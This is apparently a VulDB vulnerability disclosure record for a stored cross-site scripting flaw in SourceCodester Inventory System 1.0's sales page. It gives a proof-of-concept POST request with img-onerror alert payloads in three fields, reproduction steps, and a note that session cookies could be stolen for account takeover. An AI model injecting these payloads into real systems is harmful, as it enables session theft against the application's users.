| Title | SourceCodester Inventory System 1.0 Cross Site Scripting |
|---|
| Description | A Stored Cross-Site Scripting (XSS) vulnerability was discovered in SourceCodester Inventory System 1.0. The vulnerability exists in the Sales Management page (/sales.php). The application does not sanitize user-supplied input for the Product_Name, Customer_Name, and Hsn_Code parameters when saving a sale via /api/transactions_handler.php?action=save_sale. The malicious payloads are stored in the database and executed in the browser of any user who visits sales.php. The injected payloads also render on /index.php (Dashboard Recent Sales), /invoice.php, and /reports.php, giving a single injection the widest blast radius across four pages. The session cookie lacks the HttpOnly flag, enabling an attacker to steal admin session tokens via document.cookie and achieve full account takeover.
PoC:
POST /product_inventory/Product_Inventory/api/transactions_handler.php?action=save_sale
Content-Type: application/x-www-form-urlencoded
Product_Id=HP1001&Product_Name=<img src=x onerror="alert('XSS_Product_Name')">&Hsn_Code=<img src=x onerror="alert('XSS_Hsn_Code')">&Customer_Id=C2025025150&Customer_Name=<img src=x onerror="alert('XSS_Customer_Name')">&Vendor_Id=VEN1001&Sale_Date=2026-10-02&Product_Units=1&Product_Price=1800&Total_Amount=2124&IGST=0&CGST=9&SGST=9
Note: The target product must have stock (Quantity > 0) for the sale to succeed.
Steps:
1. Login as any authenticated user
2. Ensure product has available stock
3. Send the above POST request
4. Navigate to /sales.php
5. Three JavaScript alerts fire for Product_Name, Customer_Name, and Hsn_Code
6. The same payloads trigger on /index.php (Dashboard), /invoice.php, and /reports.php
7. Attacker can steal admin session via document.cookie for full account takeover |
|---|
| Source | ⚠️ https://github.com/Mohnad-AL-saif/MyCVEs/blob/main/VulDB/Inventory-System/CVE-03-XSS-sales.md |
|---|
| User | Muhannad AlSaif (UID 101875) |
|---|
| Submission | 10/03/2026 00:42 (16 days ago) |
|---|
| Moderation | 10/18/2026 19:10 (16 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 421921 [SourceCodester Inventory System 1.0 Sales Management transactions_handler.php?action=save_sale Hsn_Code cross site scripting] |
|---|
| Points | 20 |
|---|